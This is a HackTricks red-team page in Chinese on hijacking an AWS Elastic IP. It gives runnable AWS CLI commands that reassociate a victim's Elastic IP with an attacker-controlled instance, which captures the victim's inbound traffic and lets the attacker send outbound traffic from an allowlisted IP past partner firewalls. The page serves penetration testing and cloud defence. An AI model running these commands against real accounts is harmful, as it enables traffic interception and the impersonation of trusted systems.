AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

摘要

滥用 ec2:AssociateAddress(可选地 ec2:DisassociateAddress)将 Elastic IP (EIP) 从受害者 instance/ENI 重新关联到攻击者的 instance/ENI。这样会将目标为该 EIP 的入站流量重定向到攻击者,并允许攻击者以列入白名单的公网 IP 发起出站流量,从而绕过外部合作方防火墙。

前提条件

  • 目标 EIP allocation ID 位于相同的 account/VPC。
  • 你控制的 attacker instance/ENI。
  • 权限:
  • ec2:DescribeAddresses
  • ec2:AssociateAddress 在该 EIP allocation-id 和 attacker instance/ENI 上
  • ec2:DisassociateAddress(可选)。注意:--allow-reassociation 会自动从之前的 attachment 解除关联。

攻击

变量

REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
  1. 分配或识别受害者的 EIP(实验室分配一个新的并将其附加到受害者)
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
  1. 验证 EIP 当前解析到受害者服务(例如检查 banner)
curl -sS http://$EIP | grep -i victim
  1. 将 EIP 重新关联到 attacker(会自动从 victim 取消关联)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
  1. 验证 EIP 现在解析到 attacker 服务
sleep 5; curl -sS http://$EIP | grep -i attacker

证据(关联已移动):

aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text

影响

  • Inbound impersonation: 所有发往被劫持 EIP 的流量都会被交付到 attacker instance/ENI。
  • Outbound impersonation: Attacker 可以发起看起来源自 allowlisted public IP 的流量(可用于绕过 partner/external source IP filters)。

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks